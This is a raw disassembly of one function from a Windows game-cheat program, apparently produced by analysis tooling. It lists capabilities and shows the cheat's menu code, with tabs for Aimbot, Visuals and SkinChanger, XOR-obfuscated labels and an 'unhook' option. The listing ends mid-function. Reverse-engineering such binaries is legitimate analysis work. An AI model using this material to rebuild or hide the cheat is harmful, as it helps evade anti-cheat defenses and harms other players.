Function at 0x14000ed50
Capabilities:
Authenticate hmac
Create http request
Create process on windows
Encode data using xor
Parse pe header
Read data from internet
Receive data
Schedule task via at

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11c0]
mov eax, 0x12c0
call fcn.1400ab9a0
sub rsp, rax
movaps xmmword [rsp + 0x12b0], xmm6
movaps xmmword [rsp + 0x12a0], xmm7
movaps xmmword [rsp + 0x1290], xmm8
movaps xmmword [rsp + 0x1280], xmm9
movaps xmmword [rsp + 0x1270], xmm10
movaps xmmword [rsp + 0x1260], xmm11
mov rax, qword [0x1400d4098]
xor rax, rsp
mov qword [rbp + 0x1150], rax
xor r12d, r12d
cmp dword [0x1400d5148], r12d
jne 0x140011612
mov rax, qword [0x1400d51c0]
or dword [rax + 0x40f0], 2
mov dword [rax + 0x4114], 0x43fa0000
mov dword [rax + 0x4118], 0x43b90000
mov dword [rax + 0x40f8], 1
xorps xmm7, xmm7
mov qword [rbp - 0x68], r12
lea rdx, [rbp - 0x68]
lea ecx, [r12 + 2]
call fcn.14001a5c0
xor edx, edx
lea r8d, [r12 + 0x2b]
lea rbx, str.powercheat
mov rcx, rbx
call fcn.140025a00
call fcn.140017210
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
mov rax, qword [rcx + 0x3fe0]
mov r13, qword [rax + 0x2c0]
mov qword [rbp - 0x68], r13
movsd xmm0, qword [rax + 0x48]
movsd qword [rbp + 0x10], xmm0
mov rax, qword [rcx + 0x3fe0]
movss xmm6, dword [rax + 0x50]
mov dword [rsp + 0x20], 0xff
mov edx, Ordinal_26
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x18]
call fcn.140001790
mov rcx, rax
call fcn.140019ff0
movss xmm0, dword [rbp + 0x14]
addss xmm0, dword [0x1400c2b74]
addss xmm6, dword [rbp + 0x10]
movss dword [rsp + 0x50], xmm6
movss dword [rsp + 0x54], xmm0
mov dword [rsp + 0x28], Ordinal_50
movss xmm0, dword [0x1400c2b44]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x10]
mov rcx, r13
call fcn.140049360
mov dword [rsp + 0x20], 0xff
mov edx, 0xc0
lea r9d, [rdx + 0x25]
lea r8d, [rdx + 0xb]
lea rcx, [rbp + 0x18]
call fcn.140001790
mov rcx, rax
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, dword [0x1400c2b5c]
movss xmm0, dword [rbp + 0x10]
addss xmm0, dword [0x1400c2b60]
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movss xmm2, dword [0x1400c2b58]
mov rdx, qword [0x1400d5198]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x42fa0000
mov dword [rsp + 0x54], 0x41980000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
call fcn.14002a440
cmp dword [0x1400d57d0], r12d
sete dl
lea rdi, str.Aimbot
mov rcx, rdi
call fcn.140016d60
test al, al
je 0x14000ef9b
mov dword [0x1400d57d0], r12d
movss xmm6, dword [0x1400c2bd4]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14002a1f0
cmp dword [0x1400d57d0], 1
sete dl
lea rbx, str.Visuals
mov rcx, rbx
call fcn.140016d60
test al, al
je 0x14000efd5
mov dword [0x1400d57d0], 1
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14002a1f0
cmp dword [0x1400d57d0], 2
sete dl
lea rcx, str.Misc
call fcn.140016d60
test al, al
je 0x14000f004
mov dword [0x1400d57d0], 2
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14002a1f0
cmp dword [0x1400d57d0], 3
sete dl
lea rcx, str.SkinChanger
call fcn.140016d60
test al, al
je 0x14000f033
mov dword [0x1400d57d0], 3
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.14002a1f0
cmp dword [0x1400d57d0], 4
sete dl
lea rcx, str.Info
call fcn.140016d60
test al, al
je 0x14000f062
mov dword [0x1400d57d0], 4
mov dword [rsp + 0x50], 0x43d48000
mov dword [rsp + 0x54], 0x41700000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rsp + 0x50], 0x428c0000
mov dword [rsp + 0x54], 0x41f00000
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, str.unhook
call fcn.140055590
test al, al
je 0x14000f0cc
lea rdx, [0x1400099a0]
lea rcx, [rbp + 0x18]
call fcn.1400164f0
nop
lea rcx, [rbp + 0x18]
call fcn.140001a60
nop
cmp dword [rbp + 0x20], 0
je 0x14000f0cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.14002a570
movss xmm8, dword [0x1400c2b78]
movss xmm10, dword [0x1400c2b68]
movss xmm9, dword [0x1400c2b50]
movss xmm11, dword [0x1400c2ba0]
mov edx, dword [0x1400d57d0]
test edx, edx
jne 0x14000f8d1
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rbp + 0x18]
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm10
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x41c80000
mov dword [rsp + 0x54], 0x42aa0000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rbp + 0x38], 0x433e0000
mov dword [rbp + 0x3c], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rcx, str.container
call fcn.140022740
movdqa xmm1, xmmword [0x1400c2ea0]
movdqu xmmword [rbp + 0x18], xmm1
mov dl, 2
mov r8b, reloc.WS2_32.dll_ntohs
mov r9b, Ordinal_26
mov r10b, 5
mov r11b, reloc.WS2_32.dll_send
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x27], cl
xor dl, cl
mov byte [rbp + 0x28], dl
xor r8b, cl
mov byte [rbp + 0x29], r8b
xor r9b, cl
mov byte [rbp + 0x2a], r9b
xor r10b, cl
mov byte [rbp + 0x2b], r10b
xor r11b, cl
mov byte [rbp + 0x2c], r11b
mov byte [rbp + 0x2d], 0
lea rdx, [0x1400d5159]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f28d
call fcn.1400050f0
mov byte [0x1400d514f], 0
mov byte [0x1400d515b], 0
mov byte [0x1400d517e], 0
mov byte [0x1400d5132], 0
movdqa xmm1, xmmword [0x1400c2cd0]
movdqu xmmword [rbp + 0x18], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
mov byte [rbp + 0x27], 0
lea rdx, [0x1400d514f]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f310
call fcn.140005320
mov byte [0x1400d5159], 0
mov byte [0x1400d515b], 0
mov byte [0x1400d517e], 0
mov byte [0x1400d5132], 0
mov byte [rbp + 0x18], 0x56
mov al, reloc.WLDAP32.dll_Ordinal_30
mov cl, 0x37
mov dl, 0x24
mov r8b, reloc.WLDAP32.dll_Ordinal_50
mov r9b, 0x76
movzx r10d, al
mov r11b, 0x3f
mov bl, Ordinal_35
mov dil, 0x34
mov sil, reloc.WS2_32.dll_gethostname
mov r14b, reloc.WLDAP32.dll_Ordinal_46
mov r15b, 0x33
mov r12b, 0x25
xor r13d, r13d
xor al, 0x56
mov byte [rbp + 0x19], al
xor cl, 0x56
mov byte [rbp + 0x1a], cl
xor dl, 0x56
mov byte [rbp + 0x1b], dl
xor r8b, 0x56
mov byte [rbp + 0x1c], r8b
xor r9b, 0x56
mov byte [rbp + 0x1d], r9b
xor r10b, 0x56
mov byte [rbp + 0x1e], r10b
xor r11b, 0x56
mov byte [rbp + 0x1f], r11b
xor bl, 0x56
mov byte [rbp + 0x20], bl
xor dil, 0x56
mov byte [rbp + 0x21], dil
xor sil, 0x56
mov byte [rbp + 0x22], sil
xor r14b, 0x56
mov byte [rbp + 0x23], r14b
xor r15b, 0x56
mov byte [rbp + 0x24], r15b
xor r12b, 0x56
mov byte [rbp + 0x25], r12b
mov byte [rbp + 0x26], r13b
lea rdx, [0x1400d515b]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
mov r13, qword [rbp - 0x68]
je 0x14000f3d7
call fcn.140005550
mov byte [0x1400d5159], 0
mov byte [0x1400d514f], 0
mov byte [0x1400d517e], 0
mov byte [0x1400d5132], 0
movdqa xmm1, xmmword [0x1400c36d0]
movdqu xmmword [rbp + 0x18], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x27], cl
mov byte [rbp + 0x28], 0
lea rdx, [0x1400d517e]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f45d
call fcn.140005800
mov byte [0x1400d5159], 0
mov byte [0x1400d514f], 0
mov byte [0x1400d515b], 0
mov byte [0x1400d5132], 0
movdqa xmm1, xmmword [0x1400c3ad0]
movdqu xmmword [rbp + 0x18], xmm1
mov dl, 0x75
mov r8b, 0x7a
mov r9b, 0x34
mov r10b, 0x66
mov r11b, 0x7d
mov bl, 0x67
mov dil, 0x7f
mov sil, 0x3d
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x27], cl
xor dl, cl
mov byte [rbp + 0x28], dl
xor r8b, cl
mov byte [rbp + 0x29], r8b
xor r9b, cl
mov byte [rbp + 0x2a], r9b
xor r10b, cl
mov byte [rbp + 0x2b], r10b
xor r11b, cl
mov byte [rbp + 0x2c], r11b
xor bl, cl
mov byte [rbp + 0x2d], bl
xor dil, cl
mov byte [rbp + 0x2e], dil
xor sil, cl
mov byte [rbp + 0x2f], sil
mov byte [rbp + 0x30], 0
lea rdx, [0x1400d5132]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f52d
call fcn.140005a30
mov byte [0x1400d5159], 0
mov byte [0x1400d514f], 0
mov byte [0x1400d515b], 0
mov byte [0x1400d517e], 0
call fcn.140022970
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rbp + 0x18]
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm11
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
xor ebx, ebx
mov qword [rsp + 0x40], rbx
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], rbx
lea rcx, str.Weapon
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x438e8000
mov dword [rsp + 0x54], 0x42aa0000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rbp + 0x38], 0x433e0000
mov dword [rbp + 0x3c], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container1
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rcx, str.container1
call fcn.140022740
mov byte [rbp + 0x18], 0x44
mov al, 0xa
mov cl, 0x2b
mov dl, 0x64
mov r8b, reloc.WLDAP32.dll_Ordinal_22
mov r9b, reloc.WLDAP32.dll_Ordinal_33
mov r10b, Ordinal_41
movzx r11d, cl
mov bl, reloc.WLDAP32.dll_Ordinal_45
mov dil, Ordinal_41
movzx esi, dl
mov r14b, WSAStartup
mov r15b, reloc.WS2_32.dll_WSACleanup
mov r12b, 0x61
xor r13d, r13d
xor al, 0x44
mov byte [rbp + 0x19], al
xor cl, 0x44
mov byte [rbp + 0x1a], cl
xor dl, 0x44
mov byte [rbp + 0x1b], dl
xor r8b, 0x44
mov byte [rbp + 0x1c], r8b
xor r9b, 0x44
mov byte [rbp + 0x1d], r9b
xor r10b, 0x44
mov byte [rbp + 0x1e], r10b
xor r11b, 0x44
mov byte [rbp + 0x1f], r11b
xor bl, 0x44
mov byte [rbp + 0x20], bl
xor dil, 0x44
mov byte [rbp + 0x21], dil
xor sil, 0x44
mov byte [rbp + 0x22], sil
xor r14b, 0x44
mov byte [rbp + 0x23], r14b
xor r15b, 0x44
mov byte [rbp + 0x24], r15b
xor r12b, 0x44
mov byte [rbp + 0x25], r12b
mov byte [rbp + 0x26], r13b
lea rdx, [0x1400d517d]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
mov r13, qword [rbp - 0x68]
je 0x14000f6bb
call fcn.140005c60
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_32
mov al, WSAGetLastError
mov cl, reloc.WLDAP32.dll_Ordinal_79
xor dl, dl
mov r8b, WSAStartup
mov r9b, 0x45
mov r10b, 0x43
movzx r11d, cl
mov bl, 0x49
mov dil, 0x4c
xor esi, esi
xor al, 0x20
mov byte [rbp + 0x19], al
xor cl, 0x20
mov byte [rbp + 0x1a], cl
xor dl, 0x20
mov byte [rbp + 0x1b], dl
xor r8b, 0x20
mov byte [rbp + 0x1c], r8b
xor r9b, 0x20
mov byte [rbp + 0x1d], r9b
xor r10b, 0x20
mov byte [rbp + 0x1e], r10b
xor r11b, 0x20
mov byte [rbp + 0x1f], r11b
xor bl, 0x20
mov byte [rbp + 0x20], bl
xor dil, 0x20
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], sil
lea rdx, [0x1400d5133]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f735
call fcn.140005e80
call fcn.140057bd0
mov byte [rbp + 0x18], 0x55
mov al, reloc.WLDAP32.dll_Ordinal_26
mov cl, Ordinal_60
mov dl, reloc.WS2_32.dll_gethostname
mov r8b, Ordinal_45
mov r9b, 0x75
mov r10b, Ordinal_30
mov r11b, Ordinal_50
mov bl, 0x34
mov dil, Ordinal_50
xor al, 0x55
mov byte [rbp + 0x19], al
xor cl, 0x55
mov byte [rbp + 0x1a], cl
xor dl, 0x55
mov byte [rbp + 0x1b], dl
xor r8b, 0x55
mov byte [rbp + 0x1c], r8b
xor r9b, 0x55
mov byte [rbp + 0x1d], r9b
xor r10b, 0x55
mov byte [rbp + 0x1e], r10b
xor r11b, 0x55
mov byte [rbp + 0x1f], r11b
xor bl, 0x55
mov byte [rbp + 0x20], bl
xor dil, 0x55
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], sil
lea rdx, [0x1400d5189]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f7b1
call fcn.1400060a0
mov byte [rbp + 0x18], 0x44
mov al, 0xb
mov cl, 0x2a
mov dl, reloc.WLDAP32.dll_Ordinal_33
mov r8b, 0x64
mov r9b, listen
mov r10b, reloc.WLDAP32.dll_Ordinal_45
mov r11b, Ordinal_50
movzx ebx, r8b
mov dil, reloc.WS2_32.dll_ntohs
movzx esi, r10b
mov r14b, Ordinal_41
movzx r15d, r14b
xor r12d, r12d
xor al, 0x44
mov byte [rbp + 0x19], al
xor cl, 0x44
mov byte [rbp + 0x1a], cl
xor dl, 0x44
mov byte [rbp + 0x1b], dl
xor r8b, 0x44
mov byte [rbp + 0x1c], r8b
xor r9b, 0x44
mov byte [rbp + 0x1d], r9b
xor r10b, 0x44
mov byte [rbp + 0x1e], r10b
xor r11b, 0x44
mov byte [rbp + 0x1f], r11b
xor bl, 0x44
mov byte [rbp + 0x20], bl
xor dil, 0x44
mov byte [rbp + 0x21], dil
xor sil, 0x44
mov byte [rbp + 0x22], sil
xor r14b, 0x44
mov byte [rbp + 0x23], r14b
xor r15b, 0x44
mov byte [rbp + 0x24], r15b
mov byte [rbp + 0x25], r12b
lea rdx, [0x1400d517b]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f850
call fcn.140006410
mov byte [rbp + 0x18], 0x50
mov al, Ordinal_26
mov cl, 0x3e
mov dl, 0x36
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r9b, reloc.WS2_32.dll_recvfrom
mov r10b, 0x3d
movzx r11d, r10b
mov bl, 0x3f
xor edi, edi
xor al, 0x50
mov byte [rbp + 0x19], al
xor cl, 0x50
mov byte [rbp + 0x1a], cl
xor dl, 0x50
mov byte [rbp + 0x1b], dl
xor r8b, 0x50
mov byte [rbp + 0x1c], r8b
xor r9b, 0x50
mov byte [rbp + 0x1d], r9b
xor r10b, 0x50
mov byte [rbp + 0x1e], r10b
xor r11b, 0x50
mov byte [rbp + 0x1f], r11b
xor bl, 0x50
mov byte [rbp + 0x20], bl
mov byte [rbp + 0x21], dil
lea rdx, [0x1400d515a]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000f8bf
call fcn.140006650
call fcn.140022970
mov edx, dword [0x1400d57d0]
lea rbx, str.Visuals
lea r15, str.Other
cmp edx, 1
jne 0x14000fc9e
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rbp + 0x18]
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm10
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x41c80000
mov dword [rsp + 0x54], 0x42aa0000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rbp + 0x38], 0x433e0000
mov dword [rbp + 0x3c], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rcx, str.container
call fcn.140022740
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_26
mov al, 0x48
mov cl, 0x7b
mov dl, 0x7e
movzx r8d, cl
mov r9b, 0x68
mov r10b, Ordinal_60
mov r11b, 0x52
movzx ebx, cl
mov dil, 0x79
mov sil, WSAStartup
xor r14d, r14d
xor al, 0x1a
mov byte [rbp + 0x19], al
xor cl, 0x1a
mov byte [rbp + 0x1a], cl
xor dl, 0x1a
mov byte [rbp + 0x1b], dl
xor r8b, 0x1a
mov byte [rbp + 0x1c], r8b
xor r9b, 0x1a
mov byte [rbp + 0x1d], r9b
xor r10b, 0x1a
mov byte [rbp + 0x1e], r10b
xor r11b, 0x1a
mov byte [rbp + 0x1f], r11b
xor bl, 0x1a
mov byte [rbp + 0x20], bl
xor dil, 0x1a
mov byte [rbp + 0x21], dil
xor sil, 0x1a
mov byte [rbp + 0x22], sil
mov byte [rbp + 0x23], r14b
lea rdx, [0x1400d5179]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000fa3d
call fcn.140006920
mov byte [rbp + 0x18], 0x33
mov al, 0x71
mov cl, 0x5f
mov dl, 0x52
mov r8b, 0x50
mov r9b, 0x58
mov r10b, reloc.WS2_32.dll_send
mov r11b, 0x60
movzx ebx, r9b
mov dil, 0x4a
xor esi, esi
xor al, 0x33
mov byte [rbp + 0x19], al
xor cl, 0x33
mov byte [rbp + 0x1a], cl
xor dl, 0x33
mov byte [rbp + 0x1b], dl
xor r8b, 0x33
mov byte [rbp + 0x1c], r8b
xor r9b, 0x33
mov byte [rbp + 0x1d], r9b
xor r10b, 0x33
mov byte [rbp + 0x1e], r10b
xor r11b, 0x33
mov byte [rbp + 0x1f], r11b
xor bl, 0x33
mov byte [rbp + 0x20], bl
xor dil, 0x33
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], sil
lea rdx, [0x1400d5135]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000fab8
call fcn.140006d60
mov byte [rbp + 0x18], reloc.WS2_32.dll_setsockopt
mov al, 0x42
mov cl, reloc.WS2_32.dll_WSACleanup
mov dl, 0x61
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r9b, 0x67
mov r10b, 0x78
movzx r11d, cl
movzx ebx, r9b
mov dil, 0x7e
xor al, 0x15
mov byte [rbp + 0x19], al
xor cl, 0x15
mov byte [rbp + 0x1a], cl
xor dl, 0x15
mov byte [rbp + 0x1b], dl
xor r8b, 0x15
mov byte [rbp + 0x1c], r8b
xor r9b, 0x15
mov byte [rbp + 0x1d], r9b
xor r10b, 0x15
mov byte [rbp + 0x1e], r10b
xor r11b, 0x15
mov byte [rbp + 0x1f], r11b
xor bl, 0x15
mov byte [rbp + 0x20], bl
xor dil, 0x15
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], sil
lea rdx, [0x1400d5134]
lea rcx, [rbp + 0x19]
call fcn.140056db0
cmp byte [0x1400d5134], sil
je 0x14000fb37
call fcn.14000e830
call fcn.140022970
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rbp + 0x18]
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm11
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x438e8000
mov dword [rsp + 0x54], 0x42aa0000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rbp + 0x38], 0x433e0000
mov dword [rbp + 0x3c], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container1
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rcx, str.container1
call fcn.140022740
mov byte [rbp + 0x18], WSAStartup
mov al, 0x30
mov cl, Ordinal_32
mov dl, 5
mov r8b, Ordinal_26
mov r9b, 0x51
mov r10b, gethostname
mov r11b, Ordinal_30
mov bl, reloc.WS2_32.dll_recv
mov dil, 2
mov sil, Ordinal_26
xor al, 0x71
mov byte [rbp + 0x19], al
xor cl, 0x71
mov byte [rbp + 0x1a], cl
xor dl, 0x71
mov byte [rbp + 0x1b], dl
xor r8b, 0x71
mov byte [rbp + 0x1c], r8b
xor r9b, 0x71
mov byte [rbp + 0x1d], r9b
xor r10b, 0x71
mov byte [rbp + 0x1e], r10b
xor r11b, 0x71
mov byte [rbp + 0x1f], r11b
xor bl, 0x71
mov byte [rbp + 0x20], bl
xor dil, 0x71
mov byte [rbp + 0x21], dil
xor sil, 0x71
mov byte [rbp + 0x22], sil
mov byte [rbp + 0x23], r14b
lea rdx, [0x1400d514d]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000fc93
call fcn.140006b40
call fcn.140022970
mov edx, dword [0x1400d57d0]
cmp edx, 2
jne 0x1400100f3
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rbp + 0x18]
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm10
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
lea rcx, str.Misc
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x41c80000
mov dword [rsp + 0x54], 0x42aa0000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rbp + 0x38], 0x433e0000
mov dword [rbp + 0x3c], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rcx, str.container
call fcn.140022740
mov byte [rbp + 0x18], 0x64
mov al, reloc.WLDAP32.dll_Ordinal_41
mov cl, 0xb
mov dl, 0xa
mov r8b, 1
mov r9b, Ordinal_30
mov r10b, 0x44
mov r11b, Ordinal_45
mov bl, 5
mov dil, 7
mov sil, reloc.WS2_32.dll_ntohs
xor r14d, r14d
xor al, 0x64
mov byte [rbp + 0x19], al
xor cl, 0x64
mov byte [rbp + 0x1a], cl
xor dl, 0x64
mov byte [rbp + 0x1b], dl
xor r8b, 0x64
mov byte [rbp + 0x1c], r8b
xor r9b, 0x64
mov byte [rbp + 0x1d], r9b
xor r10b, 0x64
mov byte [rbp + 0x1e], r10b
xor r11b, 0x64
mov byte [rbp + 0x1f], r11b
xor bl, 0x64
mov byte [rbp + 0x20], bl
xor dil, 0x64
mov byte [rbp + 0x21], dil
xor sil, 0x64
mov byte [rbp + 0x22], sil
mov byte [rbp + 0x23], r14b
lea rdx, [0x1400d514e]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000fe08
call fcn.140006f80
mov byte [rbp + 0x18], Ordinal_30
mov al, 0x5c
mov cl, 0x79
movzx edx, cl
mov r8b, 0x3d
mov r9b, Ordinal_79
mov r10b, 0x7e
mov r11b, WSAStartup
mov bl, reloc.WS2_32.dll_WSAGetLastError
mov dil, 0x78
xor esi, esi
xor al, 0x1d
mov byte [rbp + 0x19], al
xor cl, 0x1d
mov byte [rbp + 0x1a], cl
xor dl, 0x1d
mov byte [rbp + 0x1b], dl
xor r8b, 0x1d
mov byte [rbp + 0x1c], r8b
xor r9b, 0x1d
mov byte [rbp + 0x1d], r9b
xor r10b, 0x1d
mov byte [rbp + 0x1e], r10b
xor r11b, 0x1d
